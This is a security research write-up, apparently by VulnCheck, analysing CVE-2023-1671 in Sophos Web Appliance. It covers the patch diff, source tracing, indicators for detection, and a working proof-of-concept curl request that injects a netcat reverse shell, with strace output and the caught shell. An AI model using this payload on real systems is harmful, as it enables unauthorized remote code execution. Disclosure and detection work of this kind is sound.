On April 4, 2023, Sophos published a security advisory1 for their Web Appliance product. The advisory includes information on CVE-2023-1671, a critical vulnerability in versions prior to 4.3.10.4:
A pre-auth command injection vulnerability in the warn-proceed handler allowing execution of arbitrary code was discovered and responsibly disclosed to Sophos by an external security researcher via the Sophos bug bounty program.
Given the initial access nature of the vulnerability, VulnCheck decided to investigate.
BLUF: Mass Exploitation Unlikely
The notes in the advisory detail the caveats quite well:
- End of Life date for Sophos Web Appliance is on July 20, 2023
- Sophos recommends that Sophos Web Appliance is protected by a firewall and not accessible via the public Internet
- There is no action required for Sophos Web Appliance customers, as updates are installed automatically by default
Consequently, exploitation at scale is highly unlikely.
Analyzing the Patch
/opt/ws/bin/ftsblistpack
is a Perl script that shells out to /opt/ws/bin/sblistpack
, which is another Perl script. The patch changes the system
function's invocation such that the shell is no longer invoked:
--- unpatched/opt/ws/bin/ftsblistpack 2022-04-08 20:38:49.000000000 -0500
+++ patched/opt/ws/bin/ftsblistpack 2023-03-24 17:08:26.000000000 -0500
@@ -25,7 +25,7 @@
open my $flag, ">", "$flag_file_dir/$proceeded_flag_file" or die "Open file [$flag_file_dir/$proceeded_flag_file] failed" and $rc++;
close($flag);
- $rc += system("$sblistpack '$uri' '$user' '$filetype' '$filein' '$fileout'");
+ $rc += system($sblistpack, $uri, $user, $filetype, $filein, $fileout);
}
exit $rc;
Note the single-quoted arguments to the shell command in the unpatched code. This will be important later. Tracing from sink to source, we can see that /opt/ui/apache/htdocs/controllers/UsrBlocked.php
shells out to ftsblistpack
with user-supplied parameters:
if($_GET['action'] == 'continue') {
if(strlen(trim($_POST['user'])) > 0)
$user = base64_decode($_POST['user_encoded']);
else
$user = $_POST['client-ip'];
if($user == '-') $user = $_POST['client-ip'];
$user = escapeshellarg($user);
//snip
// use sblistpack to allow access
if($_POST['args_reason'] == 'filetypewarn') {
$key = $_POST['url'];
$packer = '/opt/ws/bin/ftsblistpack';
$value = $_POST['filetype'];
}
else {
$key = $_POST['domain'];
$packer = '/opt/ws/bin/sblistpack';
$catParts = explode("|",$_POST['raw_category_id']);
$value = $catParts[0];
}
$key = escapeshellarg($key);
$value = escapeshellarg($value);
$this->log->write("DEBUG","cmd = '$packer $key $user $value'");
$result = shell_exec("$packer $key $user $value 2>&1");
Note that user-controlled input is still processed through PHP's escapeshellarg
function, which will escape and add single quotes to a shell argument. You may be able to see where this is going.
Developing an RCE PoC
Exploitation is relatively straightforward. UsrBlocked.php
is routed through /index.php?c=blocked
, and the required GET
and POST
parameters are supplied thereafter. Since the user_encoded
parameter is Base64-encoded, it's perfect for our command injection. No escaping or other encoding is necessary! The full curl
command to RCE is demonstrated below:
wvu@kharak:~$ curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "args_reason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&user_encoded=$(echo -n "';nc -e /bin/sh 192.168.56.1 4444 #" | base64)"
#snip
=> Send header, 184 bytes (0xb8)
0000: POST /index.php?c=blocked&action=continue HTTP/1.1
0034: Host: 192.168.56.108
004a: User-Agent: curl/7.88.1
0063: Accept: */*
0070: Content-Length: 120
0085: Content-Type: application/x-www-form-urlencoded
00b6:
=> Send data, 120 bytes (0x78)
0000: args_reason=filetypewarn&url=16625&filetype=5831&user=4525&user_
0040: encoded=JztuYyAtZSAvYmluL3NoIDE5Mi4xNjguNTYuMSA0NDQ0ICM=
How exactly the command injection works is perhaps best illustrated by the following strace
output:
[pid 22283] execve("/bin/sh", ["sh", "-c", "/opt/ws/bin/ftsblistpack '16625' ''\\'';nc -e /bin/sh 192.168.56.1 4444 #' '5831' 2>&1"], [/* 16 vars */]) = 0
[pid 22284] execve("/opt/ws/bin/ftsblistpack", ["/opt/ws/bin/ftsblistpack", "16625", "';nc -e /bin/sh 192.168.56.1 4444 #", "5831"], [/* 16 vars */]) = 0
[pid 22285] execve("/bin/sh", ["sh", "-c", "/opt/ws/bin/sblistpack '16625' '';nc -e /bin/sh 192.168.56.1 4444 #' '5831' '/persist/wsa/ftsblist.in' '/persist/wsa/ftsblist.kvlist'"], [/* 16 vars */]) = 0
[pid 22288] execve("/opt/ws/bin/sblistpack", ["/opt/ws/bin/sblistpack", "16625", ""], [/* 16 vars */]) = 0
[pid 22285] --- SIGCHLD (Child exited) @ 0 (0) ---
[pid 22299] execve("/bin/nc", ["nc", "-e", "/bin/sh", "192.168.56.1", "4444"], [/* 16 vars */]) = 0
[pid 22299] execve("/bin/sh", ["sh"], [/* 16 vars */]) = 0
When ';nc -e /bin/sh 192.168.56.1 4444 #
is injected into ftsblistpack
, the input is wrapped in single quotes, resulting in the "sanitized" input '';nc -e /bin/sh 192.168.56.1 4444 #'
, which will close the opening quote, execute a netcat
reverse shell, and comment out the rest of the command line. If you had a listener set up, you'd catch the shell:
wvu@kharak:~$ rlwrap -rS '$ ' -nH /dev/null ncat -lkv 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
$ Ncat: Connection from 192.168.56.108.
Ncat: Connection from 192.168.56.108:56426.
$ id
uid=1000(spiderman) gid=1000(spiderman) groups=1000(spiderman),16(cron),44(tproxyd),45(wdx)
$ uname -a
Linux foo 3.2.89 #1 SMP Tue Mar 29 00:03:09 UTC 2022 i686 GNU/Linux
$
Insert Spider-Man Pointing meme.
Hunting for IOCs
A single line is appended to the /log/ui_access_log
file once the HTTP request returns a response:
192.168.56.1 - - [19/Apr/2023:19:46:21 +0000] "POST /index.php?c=blocked&action=continue HTTP/1.1" 302 - "-" "curl/7.88.1"
It isn't much, but it's something to look for when hunting for exploitation. Note that writing the log entry may block on command execution. Additionally, the previous strace
output can be used for process detections.